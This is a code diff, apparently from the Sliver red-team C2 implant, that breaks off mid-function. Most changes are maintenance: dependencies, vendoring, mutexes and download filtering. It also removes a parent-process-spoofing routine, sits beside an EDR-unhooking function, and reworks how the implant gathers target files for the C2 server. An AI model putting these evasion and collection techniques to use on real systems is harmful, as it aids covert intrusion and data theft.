github.com/moloch--/grumble v1.1.6 h1:FjPkuGOIwGL8nGkEH0EegnQgsl6Rn0R0fhBW/kcA0s8=
|
||||
github.com/moloch--/grumble v1.1.6/go.mod h1:r7j3ShNy5EmOsegRD2DzTutIaGiLiA3M5yBTXXeLwcs=
|
||||
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945 h1:m3yCfV8Vqp4MF1B+gPPjbjINdufl0UXqyYplE0aGhx8=
|
||||
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945/go.mod h1:1grVt4HaTofvhFUZYtofeRbGXfczNwCie9MYoM4lP/o=
|
||||
github.com/mrunalp/fileutils v0.5.0/go.mod h1:M1WthSahJixYnrXQl/DFQuteStB1weuxD2QJNHXfbSQ=
|
||||
|
||||
+7
-1
@@ -1,5 +1,5 @@
|
||||
Implant
|
||||
========
|
||||
=======
|
||||
|
||||
This directory contains the code for Sliver's implant, implant source code is dynamically
|
||||
rendered at runtime via the `generate` command. The code generation inserts the per-binary
|
||||
@@ -11,3 +11,9 @@ that will be supported on different platforms.
|
||||
Platform agnostic code is implemented in `_generic.go` files, and can be compiled for any
|
||||
valid Go compiler target but only contains very generic commands/features.
|
||||
|
||||
Development
|
||||
===========
|
||||
|
||||
Before committing any changes to any implant files, run `go generate` in this directory. This
|
||||
will ensure the vendor directory is kept up to date so offline implant builds will function
|
||||
correctly.
|
||||
@@ -0,0 +1,3 @@
|
||||
package implant
|
||||
|
||||
//go:generate ./scripts/update-vendor.sh
|
||||
+37
-18
@@ -3,22 +3,41 @@ module github.com/bishopfox/sliver
|
||||
go 1.17
|
||||
|
||||
require (
|
||||
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
|
||||
github.com/BurntSushi/xgb v0.0.0-20210121224620-deaf085860bc // indirect
|
||||
github.com/Microsoft/go-winio v0.5.0 // indirect
|
||||
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
|
||||
github.com/gofrs/uuid v4.0.0+incompatible
|
||||
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
|
||||
github.com/lesnuages/go-winio v0.4.19
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
|
||||
github.com/pquerna/otp v1.3.0
|
||||
github.com/stretchr/testify v1.7.0
|
||||
golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e
|
||||
golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4
|
||||
golang.org/x/sys v0.0.0-20210616094352-59db8d763f22
|
||||
golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
|
||||
golang.zx2c4.com/wireguard/windows v0.5.1
|
||||
gvisor.dev/gvisor v0.0.0-20211020211948-f76a604701b6
|
||||
google.golang.org/protobuf v1.23.0
|
||||
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
|
||||
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
|
||||
github.com/Ne0nd0g/go-clr v1.0.2
|
||||
github.com/gofrs/uuid v4.0.0+incompatible
|
||||
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
|
||||
github.com/lesnuages/go-winio v0.4.19
|
||||
github.com/miekg/dns v1.1.50
|
||||
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
|
||||
github.com/pquerna/otp v1.3.0
|
||||
github.com/stretchr/testify v1.7.0
|
||||
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
|
||||
golang.org/x/crypto v0.0.0-20220315160706-3147a52a75dd
|
||||
golang.org/x/net v0.0.0-20220225172249-27dd8689420f
|
||||
golang.org/x/sys v0.0.0-20220330033206-e17cdc41300f
|
||||
golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
|
||||
google.golang.org/protobuf v1.26.0
|
||||
gvisor.dev/gvisor v0.0.0-20211020211948-f76a604701b6
|
||||
)
|
||||
|
||||
require (
|
||||
github.com/Binject/debug v0.0.0-20210225042342-c9b8b45728d2 // indirect
|
||||
github.com/BurntSushi/xgb v0.0.0-20210121224620-deaf085860bc // indirect
|
||||
github.com/Microsoft/go-winio v0.5.0 // indirect
|
||||
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 // indirect
|
||||
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 // indirect
|
||||
github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc // indirect
|
||||
github.com/davecgh/go-spew v1.1.1 // indirect
|
||||
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
|
||||
github.com/google/btree v1.0.1 // indirect
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
|
||||
github.com/pmezard/go-difflib v1.0.0 // indirect
|
||||
golang.org/x/mod v0.4.2 // indirect
|
||||
golang.org/x/text v0.3.7 // indirect
|
||||
golang.org/x/time v0.0.0-20191024005414-555d28b269f0 // indirect
|
||||
golang.org/x/tools v0.1.7 // indirect
|
||||
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
|
||||
golang.zx2c4.com/wintun v0.0.0-20211104114900-415007cec224 // indirect
|
||||
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c // indirect
|
||||
)
|
||||
+962
-19
File diff suppressed because it is too large.
Load diff
@@ -32,4 +32,8 @@ var (
|
||||
// GoSum - Templated go.sum module file for implant builds
|
||||
//go:embed go-sum
|
||||
GoSum string
|
||||
|
||||
// Vendor - Embedded FS access to vendored sliver implant dependencies
|
||||
//go:embed vendor/**
|
||||
Vendor embed.FS
|
||||
)
|
||||
@@ -0,0 +1,95 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"go/parser"
|
||||
"go/token"
|
||||
"io/fs"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// These are the directories imports will be taken from. If the implant
|
||||
// needs files outside of these dirs in the future, add the dirs to this
|
||||
// slice.
|
||||
var srcDirs = []string{
|
||||
"../sliver",
|
||||
"../../protobuf/commonpb",
|
||||
"../../protobuf/dnspb",
|
||||
"../../protobuf/sliverpb",
|
||||
}
|
||||
|
||||
func fatalf(format string, a ...interface{}) {
|
||||
panic(fmt.Sprintf(format, a...))
|
||||
}
|
||||
|
||||
func getImports(imports map[string]struct{}, dir string) error {
|
||||
fset := token.NewFileSet()
|
||||
return filepath.WalkDir(dir, func(path string, d fs.DirEntry, err error) error {
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if d.IsDir() {
|
||||
return nil
|
||||
}
|
||||
if !strings.HasSuffix(path, ".go") {
|
||||
return nil
|
||||
}
|
||||
|
||||
file, err := parser.ParseFile(fset, path, nil, parser.ImportsOnly)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
for _, imp := range file.Imports {
|
||||
impPath := strings.ToLower(imp.Path.Value)
|
||||
// skip local packages, those shouldn't be vendored
|
||||
if strings.HasPrefix(impPath, `"github.com/bishopfox/sliver`) {
|
||||
continue
|
||||
}
|
||||
|
||||
imports[imp.Path.Value] = struct{}{}
|
||||
}
|
||||
|
||||
return nil
|
||||
})
|
||||
}
|
||||
|
||||
func main() {
|
||||
if len(os.Args) < 2 {
|
||||
fatalf("expected temporary directory argument")
|
||||
}
|
||||
|
||||
dir := os.Args[1]
|
||||
imports := make(map[string]struct{})
|
||||
|
||||
// Parse Go files and build a unique list of all their 3rd party
|
||||
// imports so we can build a vendor dir from them. Stdlib packages
|
||||
// will be included as well but 'go mod vendor' will ignore them.
|
||||
for _, srcDir := range srcDirs {
|
||||
err := getImports(imports, srcDir)
|
||||
if err != nil {
|
||||
fatalf("error walking directory: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// Create a Go source file containing only import statements of all
|
||||
// the packages an implant might need, no matter what OS, transport,
|
||||
// etc is configured.
|
||||
var buf bytes.Buffer
|
||||
buf.WriteString("package sliver\n\nimport (\n")
|
||||
for imp := range imports {
|
||||
buf.WriteString("\t _ ")
|
||||
buf.WriteString(imp)
|
||||
buf.WriteByte('\n')
|
||||
}
|
||||
buf.WriteString(")\n")
|
||||
|
||||
err := os.WriteFile(filepath.Join(dir, "imports.go"), buf.Bytes(), 0660)
|
||||
if err != nil {
|
||||
fatalf("error creating file: %v", err)
|
||||
}
|
||||
}
|
||||
Executable
+27
@@ -0,0 +1,27 @@
|
||||
#!/bin/sh
|
||||
|
||||
set -e
|
||||
|
||||
# we are expecting from run from sliver/implant via 'go generate'
|
||||
cd scripts
|
||||
|
||||
# copy Go module related files
|
||||
pwd="$(pwd)"
|
||||
tempDir="$(mktemp -d)"
|
||||
cp ../go-mod "${tempDir}/go.mod"
|
||||
cp ../go-sum "${tempDir}/go.sum"
|
||||
mv ../vendor "${tempDir}/vendor"
|
||||
|
||||
# build Go file with all imported packages
|
||||
go run update-vendor.go "$tempDir"
|
||||
cd "$tempDir"
|
||||
# update vendor dir
|
||||
go mod tidy -compat=1.17
|
||||
go mod vendor
|
||||
|
||||
# move updated files back
|
||||
mv "${tempDir}/vendor" "${pwd}/../vendor"
|
||||
mv "${tempDir}/go.mod" "${pwd}/../go-mod"
|
||||
mv "${tempDir}/go.sum" "${pwd}/../go-sum"
|
||||
cd ..
|
||||
rm -rf "$tempDir"
|
||||
@@ -19,7 +19,6 @@ package evasion
|
||||
*/
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/implant/sliver/syscalls"
|
||||
"golang.org/x/sys/windows"
|
||||
|
||||
//{{if .Config.Debug}}
|
||||
@@ -27,90 +26,9 @@ import (
|
||||
//{{end}}
|
||||
"debug/pe"
|
||||
"io/ioutil"
|
||||
"os/exec"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
func SpoofParent(ppid uint32, prog string, args string) (*windows.ProcessInformation, error) {
|
||||
parentHandle, err := windows.OpenProcess(windows.PROCESS_CREATE_PROCESS, false, ppid)
|
||||
if err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Printf("OpenProcess failed: %v\n", err)
|
||||
//{{end}}
|
||||
return nil, err
|
||||
}
|
||||
var procThreadAttributeSize uintptr
|
||||
if err = syscalls.InitializeProcThreadAttributeList(nil, 1, 0, &procThreadAttributeSize); err != nil && err != windows.E_NOT_SUFFICIENT_BUFFER {
|
||||
//{{if .Config.Debug}}
|
||||
log.Printf("InitializeProcThreadAttributeList - first call failed: %v\n", err)
|
||||
//{{end}}
|
||||
return nil, err
|
||||
}
|
||||
procHeap, err := syscalls.GetProcessHeap()
|
||||
if err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Printf("GetProcessHeap failed: %v\n", err)
|
||||
//{{end}}
|
||||
return nil, err
|
||||
}
|
||||
attributeList, err := syscalls.HeapAlloc(procHeap, 0, procThreadAttributeSize)
|
||||
if err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Printf("HeapAlloc failed: %v\n", err)
|
||||
//{{end}}
|
||||
return nil, err
|
||||
}
|
||||
defer syscalls.HeapFree(procHeap, 0, attributeList)
|
||||
var startupInfo syscalls.StartupInfoEx
|
||||
startupInfo.AttributeList = (*syscalls.PROC_THREAD_ATTRIBUTE_LIST)(unsafe.Pointer(attributeList))
|
||||
if err = syscalls.InitializeProcThreadAttributeList(startupInfo.AttributeList, 1, 0, &procThreadAttributeSize); err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Printf("InitializeProcThreadAttributeList - second call failed: %v\n", err)
|
||||
//{{end}}
|
||||
return nil, err
|
||||
}
|
||||
|
||||
defer syscalls.DeleteProcThreadAttributeList(startupInfo.AttributeList)
|
||||
uintParentHandle := uintptr(parentHandle)
|
||||
if err = syscalls.UpdateProcThreadAttribute(startupInfo.AttributeList, 0, syscalls.PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &uintParentHandle, unsafe.Sizeof(parentHandle), 0, nil); err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Printf("UpdateProcThreadAttribute failed: %v\n", err)
|
||||
//{{end}}
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// get program path as a UTF string
|
||||
programPath, err := exec.LookPath(prog)
|
||||
if err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Printf("LookPath failed: %v\n", err)
|
||||
//{{end}}
|
||||
return nil, err
|
||||
}
|
||||
utfProgramPath, err := windows.UTF16PtrFromString(programPath)
|
||||
if err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Printf("UTF16PtrFromString failed: %v\n", err)
|
||||
//{{end}}
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// start a process of the specified program name, spoofing the parent
|
||||
var procInfo windows.ProcessInformation
|
||||
startupInfo.Cb = uint32(unsafe.Sizeof(startupInfo))
|
||||
startupInfo.Flags |= windows.STARTF_USESHOWWINDOW
|
||||
startupInfo.ShowWindow = windows.SW_HIDE
|
||||
// creationFlags := windows.CREATE_SUSPENDED | windows.CREATE_NO_WINDOW | windows.EXTENDED_STARTUPINFO_PRESENT
|
||||
creationFlags := windows.CREATE_NO_WINDOW | windows.EXTENDED_STARTUPINFO_PRESENT
|
||||
if err = syscalls.CreateProcess(utfProgramPath, nil, nil, nil, true, uint32(creationFlags), nil, nil, &startupInfo, &procInfo); err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Printf("CreateProcess failed: %v\n", err)
|
||||
//{{end}}
|
||||
return nil, err
|
||||
}
|
||||
return &procInfo, nil
|
||||
}
|
||||
|
||||
// RefreshPE reloads a DLL from disk into the current process
|
||||
// in an attempt to erase AV or EDR hooks placed at runtime.
|
||||
func RefreshPE(name string) error {
|
||||
|
||||
@@ -21,6 +21,7 @@ package extension
|
||||
import (
|
||||
"bytes"
|
||||
"runtime"
|
||||
"sync"
|
||||
"unsafe"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
@@ -36,6 +37,7 @@ type DarwinExtension struct {
|
||||
arch string
|
||||
serverStore bool
|
||||
init string
|
||||
sync.Mutex
|
||||
}
|
||||
|
||||
type extensionArguments struct {
|
||||
@@ -64,6 +66,8 @@ func (d *DarwinExtension) GetArch() string {
|
||||
|
||||
func (d *DarwinExtension) Load() error {
|
||||
var err error
|
||||
d.Lock()
|
||||
defer d.Unlock()
|
||||
loader, err := universal.NewLoader()
|
||||
if err != nil {
|
||||
return err
|
||||
@@ -98,6 +102,8 @@ func (d *DarwinExtension) Call(export string, arguments []byte, onFinish func([]
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Calling %s, arg size: %d\n", export, extArgs.inDataSize)
|
||||
// {{end}}
|
||||
d.Lock()
|
||||
defer d.Unlock()
|
||||
_, err := d.module.Call(export, uintptr(unsafe.Pointer(&extArgs)))
|
||||
if err != nil {
|
||||
return err
|
||||
|
||||
@@ -21,6 +21,7 @@ package extension
|
||||
import (
|
||||
"bytes"
|
||||
"errors"
|
||||
"sync"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
@@ -43,6 +44,7 @@ type WindowsExtension struct {
|
||||
arch string
|
||||
init string
|
||||
onFinish func([]byte)
|
||||
sync.Mutex
|
||||
}
|
||||
|
||||
// NewWindowsExtension - Load a new windows extension
|
||||
@@ -71,6 +73,8 @@ func (w *WindowsExtension) Load() error {
|
||||
if len(w.data) == 0 {
|
||||
return errors.New("{{if .Config.Debug}} extension data is empty {{end}}")
|
||||
}
|
||||
w.Lock()
|
||||
defer w.Unlock()
|
||||
w.module, err = memmod.LoadLibrary(w.data)
|
||||
if err != nil {
|
||||
return err
|
||||
@@ -114,6 +118,8 @@ func (w *WindowsExtension) Call(export string, arguments []byte, onFinish func([
|
||||
// The extension API must respect the following prototype:
|
||||
// int Run(buffer char*, bufferSize uint32_t, goCallback callback)
|
||||
// where goCallback = int(char *, int)
|
||||
w.Lock()
|
||||
defer w.Unlock()
|
||||
_, _, errNo := syscall.Syscall(exportPtr, 3, argumentsPtr, argumentsSize, callback)
|
||||
if errNo != 0 {
|
||||
return errors.New(errNo.Error())
|
||||
|
||||
@@ -1,5 +1,23 @@
|
||||
package forwarder
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
// {{if .Config.WGc2Enabled}}
|
||||
var (
|
||||
tcpForwarders map[int]*WGTCPForwarder
|
||||
|
||||
@@ -1,5 +1,23 @@
|
||||
package forwarder
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
// {{if .Config.WGc2Enabled}}
|
||||
import (
|
||||
"fmt"
|
||||
|
||||
@@ -1,5 +1,23 @@
|
||||
package forwarder
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
// {{if .Config.WGc2Enabled}}
|
||||
import (
|
||||
"fmt"
|
||||
|
||||
@@ -82,6 +82,58 @@ func pingHandler(data []byte, resp RPCResponse) {
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func determineDirPathFilter(targetPath string) (string, string) {
|
||||
// The filter
|
||||
filter := ""
|
||||
|
||||
// The path the filter applies to
|
||||
path := ""
|
||||
|
||||
/*
|
||||
Check to see if the remote path is a filter or contains a filter.
|
||||
If the path passes the test to be a filter, then it is a filter
|
||||
because paths are not valid filters.
|
||||
*/
|
||||
if targetPath != "." {
|
||||
|
||||
// Check if the path contains a filter
|
||||
// Test on a standardized version of the path (change any \ to /)
|
||||
testPath := strings.Replace(targetPath, "\\", "/", -1)
|
||||
/*
|
||||
Cannot use the path or filepath libraries because the OS
|
||||
of the client does not necessarily match the OS of the
|
||||
implant
|
||||
*/
|
||||
lastSeparatorOccurrence := strings.LastIndex(testPath, "/")
|
||||
|
||||
if lastSeparatorOccurrence == -1 {
|
||||
// Then this is only a filter
|
||||
filter = targetPath
|
||||
path = "."
|
||||
} else {
|
||||
// Then we need to test for a filter on the end of the string
|
||||
|
||||
// The indicies should be the same because we did not change the length of the string
|
||||
path = targetPath[:lastSeparatorOccurrence+1]
|
||||
filter = targetPath[lastSeparatorOccurrence+1:]
|
||||
}
|
||||
} else {
|
||||
path = targetPath
|
||||
// filter remains blank
|
||||
}
|
||||
|
||||
return path, filter
|
||||
}
|
||||
|
||||
func pathIsDirectory(path string) bool {
|
||||
fileInfo, err := os.Stat(path)
|
||||
if err != nil {
|
||||
return false
|
||||
} else {
|
||||
return fileInfo.IsDir()
|
||||
}
|
||||
}
|
||||
|
||||
func dirListHandler(data []byte, resp RPCResponse) {
|
||||
dirListReq := &sliverpb.LsReq{}
|
||||
err := proto.Unmarshal(data, dirListReq)
|
||||
@@ -91,7 +143,19 @@ func dirListHandler(data []byte, resp RPCResponse) {
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
dir, files, err := getDirList(dirListReq.Path)
|
||||
|
||||
// Handle the case where a directory is provided without a trailing separator
|
||||
var targetPath string
|
||||
|
||||
if pathIsDirectory(dirListReq.Path) {
|
||||
targetPath = dirListReq.Path + "/"
|
||||
} else {
|
||||
targetPath = dirListReq.Path
|
||||
}
|
||||
|
||||
path, filter := determineDirPathFilter(targetPath)
|
||||
|
||||
dir, files, err := getDirList(path)
|
||||
|
||||
// Convert directory listing to protobuf
|
||||
timezone, offset := time.Now().Zone()
|
||||
@@ -102,19 +166,47 @@ func dirListHandler(data []byte, resp RPCResponse) {
|
||||
dirList.Exists = false
|
||||
}
|
||||
dirList.Files = []*sliverpb.FileInfo{}
|
||||
|
||||
var match bool = false
|
||||
var linkPath string = ""
|
||||
|
||||
for _, fileInfo := range files {
|
||||
dirList.Files = append(dirList.Files, &sliverpb.FileInfo{
|
||||
Name: fileInfo.Name(),
|
||||
IsDir: fileInfo.IsDir(),
|
||||
Size: fileInfo.Size(),
|
||||
/* Send the time back to the client / server as the number of seconds
|
||||
since epoch. This will decouple formatting the time to display from the
|
||||
time itself. We can change the format of the time displayed in the client
|
||||
and not have to worry about having to update implants.
|
||||
*/
|
||||
ModTime: fileInfo.ModTime().Unix(),
|
||||
Mode: fileInfo.Mode().String(),
|
||||
})
|
||||
if filter == "" {
|
||||
match = true
|
||||
} else {
|
||||
match, err = filepath.Match(filter, fileInfo.Name())
|
||||
if err != nil {
|
||||
// Then this is a bad filter, and it will be a bad filter
|
||||
// on every iteration of the loop, so we might as well break now
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if match {
|
||||
// Check if this is a symlink, and if so, add the path the link points to
|
||||
if fileInfo.Mode()&os.ModeSymlink == os.ModeSymlink {
|
||||
linkPath, err = filepath.EvalSymlinks(path + fileInfo.Name())
|
||||
if err != nil {
|
||||
linkPath = ""
|
||||
}
|
||||
} else {
|
||||
linkPath = ""
|
||||
}
|
||||
|
||||
dirList.Files = append(dirList.Files, &sliverpb.FileInfo{
|
||||
Name: fileInfo.Name(),
|
||||
IsDir: fileInfo.IsDir(),
|
||||
Size: fileInfo.Size(),
|
||||
/* Send the time back to the client / server as the number of seconds
|
||||
since epoch. This will decouple formatting the time to display from the
|
||||
time itself. We can change the format of the time displayed in the client
|
||||
and not have to worry about having to update implants.
|
||||
*/
|
||||
ModTime: fileInfo.ModTime().Unix(),
|
||||
Mode: fileInfo.Mode().String(),
|
||||
Link: linkPath,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// Send back the response
|
||||
@@ -274,6 +366,29 @@ func pwdHandler(data []byte, resp RPCResponse) {
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func prepareDownload(path string, filter string, recurse bool) ([]byte, bool, int, int, error) {
|
||||
/*
|
||||
Combine the path and filter to see if the user wants
|
||||
to download a single file
|
||||
*/
|
||||
fileInfo, err := os.Stat(path + filter)
|
||||
if err == nil && !fileInfo.IsDir() {
|
||||
// Then this is a single file
|
||||
rawData, err := os.ReadFile(path + filter)
|
||||
if err != nil {
|
||||
// Then we could not read the file
|
||||
return nil, false, 0, 1, err
|
||||
} else {
|
||||
return rawData, false, 1, 0, nil
|
||||
}
|
||||
}
|
||||
|
||||
// If we are here, then the user wants multiple files (a directory or part of a directory)
|
||||
var downloadData bytes.Buffer
|
||||
readFiles, unreadableFiles, err := compressDir(path, filter, recurse, &downloadData)
|
||||
return downloadData.Bytes(), true, readFiles, unreadableFiles, err
|
||||
}
|
||||
|
||||
// Send a file back to the hive
|
||||
func downloadHandler(data []byte, resp RPCResponse) {
|
||||
var rawData []byte
|
||||
@@ -284,6 +399,8 @@ func downloadHandler(data []byte, resp RPCResponse) {
|
||||
*/
|
||||
var isDir bool
|
||||
|
||||
var download *sliverpb.Download
|
||||
|
||||
downloadReq := &sliverpb.DownloadReq{}
|
||||
err := proto.Unmarshal(data, downloadReq)
|
||||
if err != nil {
|
||||
@@ -294,48 +411,42 @@ func downloadHandler(data []byte, resp RPCResponse) {
|
||||
return
|
||||
}
|
||||
target, _ := filepath.Abs(downloadReq.Path)
|
||||
fi, err := os.Stat(target)
|
||||
if err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Printf("stat failed on %s: %v", target, err)
|
||||
//{{end}}
|
||||
download := &sliverpb.Download{Path: target, Exists: false}
|
||||
download.Response = &commonpb.Response{
|
||||
Err: err.Error(),
|
||||
}
|
||||
data, err = proto.Marshal(download)
|
||||
resp(data, err)
|
||||
return
|
||||
}
|
||||
if fi.IsDir() {
|
||||
var dirData bytes.Buffer
|
||||
err = compressDir(target, &dirData)
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("error creating the archive: %v", err)
|
||||
// {{end}}
|
||||
rawData = dirData.Bytes()
|
||||
isDir = true
|
||||
} else {
|
||||
rawData, err = ioutil.ReadFile(target)
|
||||
isDir = false
|
||||
|
||||
if pathIsDirectory(target) {
|
||||
// Even if the implant is running on Windows, Go can deal with "/" as a path separator
|
||||
target += "/"
|
||||
}
|
||||
|
||||
var download *sliverpb.Download
|
||||
if err == nil {
|
||||
path, filter := determineDirPathFilter(target)
|
||||
|
||||
rawData, isDir, readFiles, unreadableFiles, err := prepareDownload(path, filter, downloadReq.Recurse)
|
||||
|
||||
if err != nil {
|
||||
if isDir {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("error creating the archive: %v", err)
|
||||
// {{end}}
|
||||
} else {
|
||||
//{{if .Config.Debug}}
|
||||
log.Printf("error while preparing download for %s: %v", target, err)
|
||||
//{{end}}
|
||||
}
|
||||
download = &sliverpb.Download{Path: target, Exists: false, ReadFiles: int32(readFiles), UnreadableFiles: int32(unreadableFiles)}
|
||||
download.Response = &commonpb.Response{
|
||||
Err: fmt.Sprintf("%v", err),
|
||||
}
|
||||
} else {
|
||||
gzipData := bytes.NewBuffer([]byte{})
|
||||
gzipWrite(gzipData, rawData)
|
||||
download = &sliverpb.Download{
|
||||
Path: target,
|
||||
Data: gzipData.Bytes(),
|
||||
Encoder: "gzip",
|
||||
Exists: true,
|
||||
IsDir: isDir,
|
||||
Response: &commonpb.Response{},
|
||||
}
|
||||
} else {
|
||||
download = &sliverpb.Download{Path: target, Exists: false}
|
||||
download.Response = &commonpb.Response{
|
||||
Err: fmt.Sprintf("%v", err),
|
||||
Path: target,
|
||||
Data: gzipData.Bytes(),
|
||||
Encoder: "gzip",
|
||||
Exists: true,
|
||||
IsDir: isDir,
|
||||
ReadFiles: int32(readFiles),
|
||||
UnreadableFiles: int32(unreadableFiles),
|
||||
Response: &commonpb.Response{},
|
||||
}
|
||||
}
|
||||
|
||||
@@ -660,50 +771,152 @@ func standarizeArchiveFileName(path string) string {
|
||||
}
|
||||
}
|
||||
|
||||
func compressDir(path string, buf io.Writer) error {
|
||||
func compressDir(path string, filter string, recurse bool, buf io.Writer) (int, int, error) {
|
||||
zipWriter := gzip.NewWriter(buf)
|
||||
tarWriter := tar.NewWriter(zipWriter)
|
||||
readFiles := 0
|
||||
unreadableFiles := 0
|
||||
var matchingFiles []string
|
||||
|
||||
/*
|
||||
There is an edge case where if you are trying to download a junction on Windows,
|
||||
you will get access denied
|
||||
|
||||
To resolve this, we will resolve the junction or symlink before we do anything.
|
||||
Even though resolving the symlink first is not necessary on *nix, it does not hurt
|
||||
and will make it so that we do not have to detect if we are on Windows.
|
||||
*/
|
||||
pathInfo, err := os.Lstat(path)
|
||||
if err != nil {
|
||||
return readFiles, unreadableFiles, err
|
||||
}
|
||||
|
||||
if pathInfo.Mode()&os.ModeSymlink == os.ModeSymlink {
|
||||
path, err = filepath.EvalSymlinks(path)
|
||||
if err != nil {
|
||||
return readFiles, unreadableFiles, err
|
||||
}
|
||||
// The path we get back from EvalSymlinks does not have a trailing separator
|
||||
// Forward slash is fine even on Windows.
|
||||
path += "/"
|
||||
}
|
||||
|
||||
/*
|
||||
Build the list of files to include in the archive.
|
||||
|
||||
Walking the directory can take a long time and do a lot of unnecessary work
|
||||
if we do not need to recurse through subdirectories.
|
||||
|
||||
If we are not recursing, then read the directory without worrying about
|
||||
subdirectories.
|
||||
*/
|
||||
if !recurse {
|
||||
testPath := strings.ReplaceAll(path, "\\", "/")
|
||||
directory, err := os.Open(path)
|
||||
if err != nil {
|
||||
return readFiles, unreadableFiles, err
|
||||
}
|
||||
directoryFiles, err := directory.Readdirnames(0)
|
||||
directory.Close()
|
||||
if err != nil {
|
||||
return readFiles, unreadableFiles, err
|
||||
}
|
||||
|
||||
for _, fileName := range directoryFiles {
|
||||
standardFileName := strings.ReplaceAll(testPath+fileName, "\\", "/")
|
||||
if filter != "" {
|
||||
match, err := filepath.Match(testPath+filter, standardFileName)
|
||||
if err == nil && match {
|
||||
matchingFiles = append(matchingFiles, standardFileName)
|
||||
}
|
||||
} else {
|
||||
matchingFiles = append(matchingFiles, standardFileName)
|
||||
}
|
||||
}
|
||||
} else {
|
||||
filepath.WalkDir(path, func(file string, d os.DirEntry, err error) error {
|
||||
filePath := strings.ReplaceAll(file, "\\", "/")
|
||||
if filter != "" {
|
||||
// Normalize paths
|
||||
testPath := strings.ReplaceAll(filepath.Dir(file), "\\", "/") + "/"
|
||||
match, matchErr := filepath.Match(testPath+filter, filePath)
|
||||
if !match || matchErr != nil {
